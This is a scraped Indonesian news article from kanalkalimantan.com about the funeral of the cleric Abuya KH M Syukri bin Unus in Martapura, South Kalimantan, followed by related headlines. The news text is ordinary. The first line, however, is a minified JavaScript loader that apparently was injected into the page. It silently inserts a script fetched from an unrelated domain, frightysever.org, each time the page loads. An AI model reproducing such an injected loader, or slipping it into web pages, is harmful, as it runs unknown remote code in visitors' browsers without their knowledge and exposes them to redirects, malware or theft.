(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ribuan orang memadati kompleks Majelis Taklim Darussyakin, Desa Antasan Senor, Kecamatan Martapura Timur, Kabupaten Banjar, Kalimantan Selatan, Senin (8/12/2025) sore saat dilakukan pemakaman ulama kharismatik Abuya Tuan Guru KH M Syukri bin Unus, yang meninggal dunia pada Minggu (7/12/2025) malam.
Suasana duka dan haru terlihat jelas ketika masyarakat dari berbagai penjuru datang untuk memberikan penghormatan terakhir kepada ulama yang dikenal luas atas keteduhan akhlak dan dedikasinya dalam dakwah tersebut.
Di tengah kerumunan pelayat, hadir pula Habib Zakie asal Solo, Jawa Tengah dan Wakil Bupati Banjar, Habib Idrus Al Habsyi.
Baca juga: 12 Meninggal Dunia dari 55 Laka Lantas Sepanjang 2025 di Banjarbaru
Habib Idrus dengan suara bergetar menyampaikan duka cita mendalam atas wafatnya Abuya KH M Syukri bin Unus.
“Atas nama pribadi dan Pemerintah Kabupaten Banjar, saya turut berbelasungkawa sedalam-dalamnya dan mendoakan almarhum husnul khatimah,” ujar dia.
Habib Idrus menyebut almarhum merupakan sosok ulama yang sangat dihormati, dekat dengan para kiai dan habaib, serta memiliki peran besar dalam membina masyarakat melalui majelis ilmu.
Baca juga: Hakordia 2025: “Satukan Aksi, Basmi Korupsi!”
Ia mengaku sering menghadiri pengajian rutin yang diasuh Abuya setiap Selasa malam.
“Kita sering hadir pada acara beliau tiap malam Rabu. Kita doakan semoga beliau husnul khatimah dan keluarga yang ditinggalkan diberikan kesabaran,” katanya.
Prosesi pemakaman berlangsung khidmat. Banyak pelayat tampak berkaca-kaca ketika jenazah almarhum diturunkan ke liang lahat.
Baca juga: PUPR Kalsel Gerak Cepat Perbaiki Kerusakan Jalan di Simpang 4 Gatot Subroto
Pembacaan Talqin oleh Tuan Guru Muaz Hamid, Guru Hasanuddin Pimpinan Umum Pondok Pesantren Darussalam dan putera almarhum, Guru H Muhammad Noor.
Sementara tahlil dan doa dipimpin Guru Nouval dan Tuan Guru Muaz Hamid.
Setelah doa penutup dibacakan, sebagian pelayat masih bertahan di sekitar makam.
Baca juga: Pengenalan Aplikasi SP4N-LAPOR! dan Layanan Darurat 112 Banjarbaru
Mereka berdiri dalam hening, memanjatkan doa pribadi sebagai bentuk penghormatan terakhir kepada guru yang selama ini menjadi panutan.
Kepergian Abuya KH M Syukri bin Unus meninggalkan duka mendalam bagi masyarakat Banjar. Namun ajaran, keteladanan dan akhlak mulia yang diwariskannya diyakini akan tetap hidup dalam hati para murid dan jemaahnya. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
This website uses cookies.